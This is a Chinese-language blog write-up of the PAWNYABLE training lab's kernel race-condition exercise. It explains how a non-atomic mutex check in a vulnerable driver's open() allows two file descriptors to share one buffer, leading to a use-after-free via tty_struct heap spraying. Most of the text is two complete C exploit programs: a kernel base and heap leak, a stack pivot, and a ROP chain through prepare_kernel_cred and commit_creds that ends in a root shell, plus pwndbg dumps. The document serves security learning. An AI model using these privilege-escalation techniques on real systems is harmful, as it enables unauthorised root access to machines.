PAWNYABLE kernel race condition 笔记
/ 13 min read
Table of Contents
漏洞点在于,open 的时候 mutex 的检查和设置不是原子操作。
static int module_open(struct inode *inode, struct file *file){ printk(KERN_INFO "module_open called\n");
if (mutex) { printk(KERN_INFO "resource is busy"); return -EBUSY; } mutex = 1;
g_buf = kzalloc(BUFFER_SIZE, GFP_KERNEL); if (!g_buf) { printk(KERN_INFO "kmalloc failed"); return -ENOMEM; }
return 0;}如何利用条件竞争
可以开启两个 fd 然后关闭,来确认接下来使用的两个 fd 是哪个。
void *race(void *) { int fd; while(1) {
while( !win ) { // 如果2个进程都打开了设备,那就把 win 设为 1 fd = open("/dev/holstein", O_RDWR); if( fd == fd2) { win = 1; }
if( win == 1 && fd != -1) { // 如果本进程开了设备,而且另一个进程也打开 break; } else if ( win == 0 && fd != -1) { // 如果本进程开了设备,但另一个进程没打开 close(fd); } else if ( win == 1 && fd == -1) { // 如果本进程没开设备,但另一个进程打开了 win = 0; } }
if(write(fd1, "a", 1) == 1 && write(fd2, "a", 1) == 1) { break; } else{ // 当前的 fd 肯定不是 -1 close(fd); // 重置为 0 win = 0; } }}
void create_overlap() { // 提前测试 fd1 和 fd2 是多少 pthread_t th1, th2; fd1 = open("/tmp", O_RDONLY); fd2 = open("/tmp", O_RDONLY); close(fd1); close(fd2); printf("[+] next fds: %d, %d\n", fd1, fd2);
pthread_create(&th1, NULL, race, NULL); pthread_create(&th2, NULL, race, NULL); pthread_join(th1, NULL); pthread_join(th2, NULL); printf("[+] get next fds: %d, %d\n", fd1, fd2);
}tyy spread 写法
多线程用 tty structure 去 uaf 不是很稳定,常常用完了 fd 叶没有拿到 tty structue…解决的方法是每次都检查内核模块的地址有没有被成功获取,然后把之前打开的没用的 tty close 掉。
void *spread_tty( void *) { char leak[0x40]; int i;
for ( i = 0; i < SPREAD_SIZE; i++) { if((tty[i] = open("/dev/ptmx", O_RDWR)) < 0) { perror("open tty"); goto fail; }
if(read(fd2, leak, sizeof(leak)) == sizeof(leak) && *(uint64_t *)(leak + 0x38)) { printf("[+] spread tty success %d\n", i); for(int j = 0; j < i; j++) { close(tty[j]); } return &tty[i]; } }fail: printf("[-] spread tty failed %d\n", i); for(int j = 0; j < i; j++) { close(tty[j]); } return 0;}一些奇怪问题
Q1
受不了,怎么两次拿到一样的堆块…即使不拿到一样的堆块,之前写着 rop 的块也会被其他 tty 申请导致协商的内容会被覆盖。可是 fd2 如果不关闭,那没办法再申请一次呀…?
/ $ ./exp[+] next fds: 3, 4[+] get next fds: 3, 4[+] spread tty success 0kbase ffffffff82000000kheap ffffa3f681bca400[+] next fds: 4, 5[+] get next fds: 4, 5[+] spread tty success 0gadget ffffffff8261c440addr2 ffffa3f681bca400原来不用关闭 fd2,因为当 fd1 关闭的时候已经可以再次申请了啊啊
Q2
有个疑问 ,为什么 iretq 会失败?哦,逆天,我忘记save status 了…
Q3
现在可以了,就是可能不是很稳定?有时候 kbase 的偏移会出问题,嗷~好像是因为这个 opt 的原始地址貌似不是一样的,申请的块里面有两种地址,我之前没有发现,导致计算 kbase 的是很难
pwndbg> x/10gx 0xffff9fd301bf9400 + 0x180xffff9fd301bf9418: 0xffffffff8fc3aec0 0x00000000000000040xffff9fd301bf9428: 0x0000000000000000 0x00000000000000000xffff9fd301bf9438: 0xffff9fd301bf9438 0xffff9fd301bf94380xffff9fd301bf9448: 0xffff9fd301bf9448 0xffff9fd301bf94480xffff9fd301bf9458: 0xffff9fd301221a00 0xffffffff8f61c320pwndbg> x/10gx 0xffff9fd301bf9400 + 0x18 + 0x4000xffff9fd301bf9818: 0xffffffff8fc3afe0 0x00000000000000040xffff9fd301bf9828: 0x0000000000000000 0x00000000000000000xffff9fd301bf9838: 0xffff9fd301bf9838 0xffff9fd301bf98380xffff9fd301bf9848: 0xffff9fd301bf9848 0xffff9fd301bf98480xffff9fd301bf9858: 0xffff9fd3012219f0 0x000000000000000在源码里面 tty->ops 是由 driver 来确定的。但是 driver 可能不一样?
tty->driver = driver; tty->ops = driver->ops; tty->index = idx; tty_line_name(driver, idx, tty->name); tty->dev = tty_get_device(tty);调试了一下确实是两个 driver
pwndbg> tele 0xffff8d02c13c06c000:0000│ rdi 0xffff8d02c13c06c0 ◂— 0x20000540201:0008│ 0xffff8d02c13c06c8 —▸ 0xffff8d02c1996590 —▸ 0xffff8d02c105cb80 ◂— 002:0010│ 0xffff8d02c13c06d0 ◂— 003:0018│ 0xffff8d02c13c06d8 —▸ 0xffffffff96f44eb1 ◂— 'pty_slave'04:0020│ 0xffff8d02c13c06e0 —▸ 0xffffffff96f269a7 ◂— 0x64616f6c00737470 /* 'pts' */05:0028│ 0xffff8d02c13c06e8 ◂— 0x880000000006:0030│ 0xffff8d02c13c06f0 ◂— 0x1000000000000007:0038│ 0xffff8d02c13c06f8 ◂— 0x50000020004pwndbg> tele 0xffff8d02c13c060000:0000│ r15 0xffff8d02c13c0600 ◂— 0x20000540201:0008│ 0xffff8d02c13c0608 —▸ 0xffff8d02c1996588 —▸ 0xffff8d02c105cb00 ◂— 002:0010│ 0xffff8d02c13c0610 ◂— 003:0018│ 0xffff8d02c13c0618 —▸ 0xffffffff96f44ea6 ◂— 'pty_master'04:0020│ 0xffff8d02c13c0620 —▸ 0xffffffff96f44edd ◂— 0x2d797474006d7470 /* 'ptm' */05:0028│ 0xffff8d02c13c0628 ◂— 0x800000000006:0030│ 0xffff8d02c13c0630 ◂— 0x1000000000000007:0038│ 0xffff8d02c13c0638 ◂— 0x10004一个是 pty_master 一个是 pty_slave [参考](ptmx(4): pseudoterminal master/slave - Linux man page) ,每次 open("/dev/ptmx", O_RDWR) 都会分配两个 1024 大小的块。
exp
现在好像比较稳定了
#include <fcntl.h>#include <pthread.h>#include <sys/types.h>#include <unistd.h>#include <stdio.h>#include <string.h>#include <inttypes.h>#include <sys/ioctl.h>
#define BUF_SIZE 0x400#define SPREAD_SIZE 800int win = 0;char buf1[BUF_SIZE], buf2[BUF_SIZE];int tty[SPREAD_SIZE];int fd1, fd2;
// 0xffffffff810b13c5: pop rdi; ret;// 0xffffffff813006fc: pop rcx; pop rbx; pop rbp; ret;// 0xffffffff8165094b: mov rdi, rax; rep movsq qword ptr [rdi], qword ptr [rsi]; ret;// 0xffffffff8161c440: push r8; add dword ptr [rbx + 0x41], ebx; pop rsp; pop r13; pop rbp; ret;uint64_t pop_rdi_ret = 0xb13c5;uint64_t pop_rcx_rbp_ret = 0x3006fc;uint64_t mov_rdi_rax_ret = 0x65094b;uint64_t gadget = 0x61c440;uint64_t kbase, kheap;uint64_t commit_creds = 0x723e0;uint64_t prepare_kernel_cred =0x72580;uint64_t srrartu = 0x800e10 + 22;uint64_t modprobe_path = 0xe384c0;uint64_t user_cs, user_ss, user_rflags, user_sp;
void save_status() { asm("movq %%cs, %0\n\t" "movq %%ss, %1\n\t" "movq %%rsp, %3\n\t" "pushfq\n\t" "popq %2\n\t" : "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags), "=r"(user_sp) : // no input : "memory");}
void print_hex(char *name, uint64_t addr) { printf("%s %" PRIx64 "\n", name, addr);}
void binsh() { puts("get shell"); char *argv[] = {"/bin/sh", NULL}; char *envp[] = {NULL}; execve("/bin/sh", argv, envp);}
// TODO 两个打开的 fc 怎么确认void *race(void *) { int fd; while(1) {
while( !win ) { // 如果2个进程都打开了设备,那就把 win 设为 1 fd = open("/dev/holstein", O_RDWR); if( fd == fd2) { win = 1; }
if( win == 1 && fd != -1) { // 如果本进程开了设备,而且另一个进程也打开 break; } else if ( win == 0 && fd != -1) { // 如果本进程开了设备,但另一个进程没打开 close(fd); } else if ( win == 1 && fd == -1) { // 如果本进程没开设备,但另一个进程打开了 win = 0; } }
if(write(fd1, "a", 1) == 1 && write(fd2, "a", 1) == 1) { break; } else{ // 当前的 fd 肯定不是 -1 close(fd); // 重置为 0 win = 0; } }}
void set_rop() { // for(int i = 0; i < BUF_SIZE; i+=8) { // *(uint64_t *)(buf1 + i) = i; // } *(uint64_t *)(buf1 + 0x60) = gadget + kbase;
uint64_t rop_chain[] = {pop_rdi_ret + kbase, 0, prepare_kernel_cred + kbase, pop_rcx_rbp_ret + kbase, 0, 0, 0, mov_rdi_rax_ret + kbase, commit_creds + kbase, srrartu + kbase, 0x1, 0x2, (uint64_t)&binsh, user_cs, user_rflags, user_sp, user_ss};
memcpy(buf1 + 0x90, rop_chain, sizeof(rop_chain)); write(fd2, buf1, BUF_SIZE);}
void create_overlap() { // 提前测试 fd1 和 fd2 是多少 pthread_t th1, th2; fd1 = open("/tmp", O_RDONLY); fd2 = open("/tmp", O_RDONLY); close(fd1); close(fd2); printf("[+] next fds: %d, %d\n", fd1, fd2);
pthread_create(&th1, NULL, race, NULL); pthread_create(&th2, NULL, race, NULL); pthread_join(th1, NULL); pthread_join(th2, NULL); printf("[+] get next fds: %d, %d\n", fd1, fd2);
}
void *spread_tty( void *) { char leak[0x40]; int i;
for ( i = 0; i < SPREAD_SIZE; i++) { if((tty[i] = open("/dev/ptmx", O_RDWR)) < 0) { perror("open tty"); goto fail; }
if(read(fd2, leak, sizeof(leak)) == sizeof(leak) && *(uint64_t *)(leak + 0x38)) { printf("[+] spread tty success %d\n", i); for(int j = 0; j < i; j++) { close(tty[j]); } return &tty[i]; } }fail: printf("[-] spread tty failed %d\n", i); for(int j = 0; j < i; j++) { close(tty[j]); } return 0;}
int main() {
save_status();
pthread_t th;
create_overlap();
close(fd1);
// TODO 开了太多描述符怎么办 int *rt; rt = spread_tty(NULL);
while(!rt) { pthread_create(&th, NULL, spread_tty, NULL); pthread_join(th, (void *)&rt); }
read(fd2, buf1, BUF_SIZE);
// kbase = *(uint64_t *)(buf1 + 24) - 0xc3afe0 ; kbase = (*(uint64_t *)(buf1 + 24) - 0xc3aec0) & 0xfffffffffffff000;
kheap = *(uint64_t *)(buf1 + 56) - 56;
print_hex("kbase", kbase); print_hex("kheap", kheap); print_hex("alloc_tty_struct", 0x334b30 + kbase);
getchar();
open("/dev/ptmx", O_RDWR);
getchar();
// put rop chain set_rop();
// close(fd2);
create_overlap();
close(fd1);
rt = spread_tty(NULL);
while(!rt) { pthread_create(&th, NULL, spread_tty, NULL); pthread_join(th, (void *)&rt); }
read(fd2, buf2, BUF_SIZE); *(uint64_t *)(buf2+24) = kheap; write(fd2, buf2, BUF_SIZE);
print_hex("gadget", gadget + kbase); // for(int i = 0; i < BUF_SIZE; i+=8) { // printf("%d", i); // print_hex("buf2", *(uint64_t *)(buf2 + i)); // } print_hex("addr2", (*(uint64_t *)(buf2 + 0x38) - 0x38)); getchar();
// 如今的 tty 是多少可以确定 printf("[+] tty: %d\n", *rt); ioctl(*rt, kheap+0x80, kheap+0x80);}如果尝试使用 sched_setaffinity 尝试一下 bind cpu?
可以使用下面这种方法来绑定
CPU_ZERO(&t1_cpu); CPU_ZERO(&t2_cpu); CPU_SET(0, &t1_cpu); CPU_SET(1, &t2_cpu);
...
cpu_set_t *cpu_set = (cpu_set_t*)arg; if (sched_setaffinity(gettid(), sizeof(cpu_set_t), cpu_set)) fatal("sched_setaffinity");
...
pthread_create(&th1, NULL, race, (void*)&t1_cpu); pthread_create(&th2, NULL, race, (void*)&t2_cpu);即使我绑定了 cpu 成功率也只有大概二分之一,而且 gdb 调试的时候十分正常…
#define _GNU_SOURCE#include <sched.h>#include <fcntl.h>#include <pthread.h>#include <sys/types.h>#include <unistd.h>#include <stdio.h>#include <string.h>#include <inttypes.h>#include <sys/ioctl.h>
#define BUF_SIZE 0x400#define SPREAD_SIZE 800int win = 0;char buf1[BUF_SIZE], buf2[BUF_SIZE];int tty[SPREAD_SIZE];int fd1, fd2;
// 0xffffffff810b13c5: pop rdi; ret;// 0xffffffff813006fc: pop rcx; pop rbx; pop rbp; ret;// 0xffffffff8165094b: mov rdi, rax; rep movsq qword ptr [rdi], qword ptr [rsi]; ret;// 0xffffffff8161c440: push r8; add dword ptr [rbx + 0x41], ebx; pop rsp; pop r13; pop rbp; ret;uint64_t pop_rdi_ret = 0xb13c5;uint64_t pop_rcx_rbp_ret = 0x3006fc;uint64_t mov_rdi_rax_ret = 0x65094b;uint64_t gadget = 0x61c440;uint64_t kbase, kheap;uint64_t commit_creds = 0x723e0;uint64_t prepare_kernel_cred =0x72580;uint64_t srrartu = 0x800e10 + 22;uint64_t modprobe_path = 0xe384c0;uint64_t user_cs, user_ss, user_rflags, user_sp;
void save_status() { asm("movq %%cs, %0\n\t" "movq %%ss, %1\n\t" "movq %%rsp, %3\n\t" "pushfq\n\t" "popq %2\n\t" : "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags), "=r"(user_sp) : // no input : "memory");}
void print_hex(char *name, uint64_t addr) { printf("%s %" PRIx64 "\n", name, addr);}
void binsh() { puts("get shell"); char *argv[] = {"/bin/sh", NULL}; char *envp[] = {NULL}; execve("/bin/sh", argv, envp);}
// TODO 两个打开的 fc 怎么确认void *race(void *arg) {
cpu_set_t *cpu_set = (cpu_set_t*)arg; sched_setaffinity(gettid(), sizeof(cpu_set_t), cpu_set);
int fd; while(1) {
while( !win ) { // 如果2个进程都打开了设备,那就把 win 设为 1 fd = open("/dev/holstein", O_RDWR); if( fd == fd2) { win = 1; }
if( win == 1 && fd != -1) { // 如果本进程开了设备,而且另一个进程也打开 break; } else if ( win == 0 && fd != -1) { // 如果本进程开了设备,但另一个进程没打开 close(fd); } else if ( win == 1 && fd == -1) { // 如果本进程没开设备,但另一个进程打开了 win = 0; } }
if(write(fd1, "a", 1) == 1 && write(fd2, "a", 1) == 1) { break; } else{ // 当前的 fd 肯定不是 -1 close(fd); // 重置为 0 win = 0; } }}
void set_rop() { // for(int i = 0; i < BUF_SIZE; i+=8) { // *(uint64_t *)(buf1 + i) = i; // } *(uint64_t *)(buf1 + 0x60) = gadget + kbase;
uint64_t rop_chain[] = {pop_rdi_ret + kbase, 0, prepare_kernel_cred + kbase, pop_rcx_rbp_ret + kbase, 0, 0, 0, mov_rdi_rax_ret + kbase, commit_creds + kbase, srrartu + kbase, 0x1, 0x2, (uint64_t)&binsh, user_cs, user_rflags, user_sp, user_ss};
memcpy(buf1 + 0x90, rop_chain, sizeof(rop_chain)); write(fd2, buf1, BUF_SIZE);}
void *spread_tty( void *arg) { cpu_set_t *cpu_set = (cpu_set_t*)arg; sched_setaffinity(gettid(), sizeof(cpu_set_t), cpu_set);
char leak[0x40]; int i;
for ( i = 0; i < SPREAD_SIZE; i++) { if((tty[i] = open("/dev/ptmx", O_RDWR)) < 0) { perror("open tty"); goto fail; }
if(read(fd2, leak, sizeof(leak)) == sizeof(leak) && *(uint64_t *)(leak + 0x38)) { printf("[+] spread tty success %d\n", i); for(int j = 0; j < i; j++) { close(tty[j]); } return &tty[i]; } }fail: printf("[-] spread tty failed %d\n", i); for(int j = 0; j < i; j++) { close(tty[j]); } return 0;}
int create_overlap() {
cpu_set_t t1_cpu, t2_cpu;
CPU_ZERO(&t1_cpu); CPU_ZERO(&t2_cpu); CPU_SET(0, &t1_cpu); CPU_SET(1, &t2_cpu);
// 提前测试 fd1 和 fd2 是多少 pthread_t th1, th2, th; fd1 = open("/tmp", O_RDONLY); fd2 = open("/tmp", O_RDONLY); close(fd1); close(fd2); printf("[+] next fds: %d, %d\n", fd1, fd2);
pthread_create(&th1, NULL, race, (void*)&t1_cpu); pthread_create(&th2, NULL, race, (void*)&t2_cpu); pthread_join(th1, NULL); pthread_join(th2, NULL); printf("[+] get next fds: %d, %d\n", fd1, fd2);
close(fd1);
int *rt; rt = spread_tty((void*)&t1_cpu); while(!rt) { pthread_create(&th, NULL, spread_tty, (void*)&t2_cpu); pthread_join(th, (void *)&rt); } return *rt;}
int main() {
save_status();
create_overlap();
read(fd2, buf1, BUF_SIZE);
// kbase = *(uint64_t *)(buf1 + 24) - 0xc3afe0 ; kbase = (*(uint64_t *)(buf1 + 24) - 0xc3aec0) & 0xfffffffffffff000; kheap = *(uint64_t *)(buf1 + 56) - 56; print_hex("kbase", kbase); print_hex("kheap", kheap);
// put rop chain set_rop();
// 不需要 close(fd2); 因为在 fd1 close 的时候 mutex 已经为 0
int rt = create_overlap();
read(fd2, buf2, BUF_SIZE); *(uint64_t *)(buf2+24) = kheap; write(fd2, buf2, BUF_SIZE); print_hex("heap 2:", (*(uint64_t *)(buf2 + 56) - 56)); print_hex("gadget", gadget + kbase); getchar(); // 如今的 tty 是多少可以确定 printf("[+] tty: %d\n", rt); ioctl(rt, kheap+0x80, kheap+0x80);}